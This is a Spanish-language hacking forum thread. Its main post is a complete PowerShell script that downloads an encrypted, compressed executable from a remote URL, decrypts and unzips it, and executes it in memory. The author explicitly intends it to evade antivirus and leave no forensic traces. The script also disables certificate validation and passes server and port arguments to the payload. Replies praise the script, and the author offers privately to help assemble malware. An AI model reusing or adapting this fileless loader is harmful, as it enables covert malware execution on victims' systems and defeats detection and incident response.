Underc0de

Programación Scripting => Otros lenguajes Scripting => Mensaje iniciado por: 79137913 en Septiembre 24, 2021, 09:04:57 AM

Título: [POWERSHELL] Download, Decypher, UnZip and Execute en memoria, no quedan rastros
Publicado por: 79137913 en Septiembre 24, 2021, 09:04:57 AM
HOLA!!!

Se me ocurrio el otro dia ponerme a armar un script que permita hacer una ejecucion en memoria sin dejar rastros para forenses despues de la ejecucion de nuestro script, luego pasaron cosas y decidi agregarle que el ejecutable descargado se descifre para que el AV no pueda detectar la descarga y para ultima seguridad el ejecutable aparte de estar cifrado estaria zipeado. Asique como imaginaran esto es un incordio para que cualquier AV lo detecte on the fly, y como se ejecuta en memoria solo tenemos que cuidar la heuristica en ejecucion de lo que descarguemos y va a funcionar sin problemas.

Sin mas, al codigo:

[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}

$wc = New-Object -TypeName System.Net.WebClient

$wc.Headers.Add("Accept-Language", "en-US,en;q=0." + ([IntPtr]::Size – 1).ToString())

$wc.Headers.Add("User-Agent", "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)")

$rndn = Get-Random

$wc.Headers.Add("Cookie", "p=" + $rndn)

$data = $wc.DownloadData("[URL AL PROGRAMA]")

#PARAMETROS PARA EJECUTAR (OPCIONAL)
[string[]]$xags = "/s", "[SERVER]", "/p", "[PORT]"

#INICIO DE PROCESO DE DESCIFRADO (OPCIONAL)
$Passphrase = "[CLAVE CIFRADO]"

$salts = "[SALT]"

$r = new-Object System.Security.Cryptography.RijndaelManaged

$pass = [System.Text.Encoding]::UTF8.GetBytes($Passphrase)

$salt = [System.Text.Encoding]::UTF8.GetBytes($salts)



$r.Key = (new-Object Security.Cryptography.PasswordDeriveBytes $pass, $salt, "SHA1″, 5).GetBytes(32) #256/8

$r.IV = (new-Object Security.Cryptography.SHA1Managed).ComputeHash( [Text.Encoding]::UTF8.GetBytes($rndn) )[0..15]



$d = $r.CreateDecryptor()

$ms = new-Object IO.MemoryStream @(,$data)

$cs = new-Object Security.Cryptography.CryptoStream $ms,$d,"Read"
#FIN DE PROCESO DE DESCIFRADO (OPCIONAL)

#DESCOMPRESION (OPCIONAL)
$dfs = New-Object System.IO.Compression.GzipStream $cs, ([IO.Compression.CompressionMode]::Decompress)

$msout = New-Object System.IO.MemoryStream

[byte[]]$buffer = new-object byte[] 4096

[int]$count = 0

do

{

$count = $dfs.Read($buffer, 0, $buffer.Length)

$msout.Write($buffer, 0, $count)

} while ($count -gt 0)



$dfs.Close()

$cs.Close()

$ms.Close()

$r.Clear()



[byte[]]$bin = $msout.ToArray()

$al = New-Object -TypeName System.Collections.ArrayList

#AGREGAR PARAMETROS AL EJECUTABLE (OPCIONAL)
$al.Add($xags) 

$asm = [System.Reflection.Assembly]::Load($bin)

$asm.EntryPoint.Invoke($null, $al.ToArray())

sleep 5

Exit


GRACIAS POR LEER!!!
Título: Re: [POWERSHELL] Download, Decypher, UnZip and Execute en memoria, no quedan rastros
Publicado por: AXCESS en Septiembre 25, 2021, 12:28:20 AM
Calificarse puede con adjetivo superlativo: buenísimo.
Su divulgación y uso pudiera ser peligroso; pero... peligrosos somos  y entre gatos andamos; o no?

Muy bueno (lo mejorcito que he visto). Es Ud. realmente ingenioso y creativo.

Pena grande que no tenga inclinación por ensamblar malware.
Pero... quién sabe

(https://i.postimg.cc/MHmgVwbL/Hacker-Cat.png) (https://postimages.org/)   ;)
Título: Re: [POWERSHELL] Download, Decypher, UnZip and Execute en memoria, no quedan rastros
Publicado por: DtxdF en Septiembre 25, 2021, 08:15:20 AM
@AXCESS

Está buenísimo, con eso derrocamos a la caniche y servidores...

@79137913

No hay que decir mucho: como siempre brutal leer estas joyas.

+1

~ DtxdF
Título: Re: [POWERSHELL] Download, Decypher, UnZip and Execute en memoria, no quedan rastros
Publicado por: ZarathuxXxtrA en Septiembre 25, 2021, 02:12:04 PM
Nooo!! Impresionante, me lo llevo... +1 Gracias por compartirlo @79137913, terrible script!
Título: Re: [POWERSHELL] Download, Decypher, UnZip and Execute en memoria, no quedan rastros
Publicado por: 79137913 en Octubre 06, 2021, 10:35:45 AM
HOLA!!!

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Pena grande que no tenga inclinación por ensamblar malware.
Pero... quién sabe

Quien dijo que no tengo inclinacion a ensamblar malware? Lo he hecho toda mi vida, si queres armar algo avisame al privado!

GRACIAS POR LEER!!!
Título: Re: [POWERSHELL] Download, Decypher, UnZip and Execute en memoria, no quedan rastros
Publicado por: AXCESS en Octubre 06, 2021, 01:19:26 PM
JAJAJA!!

Me refería a mí, que no soy dado a ensamblar malware. Mire el meme del gato.

Muchas gracias por el ofrecimiento, lo tendré presente.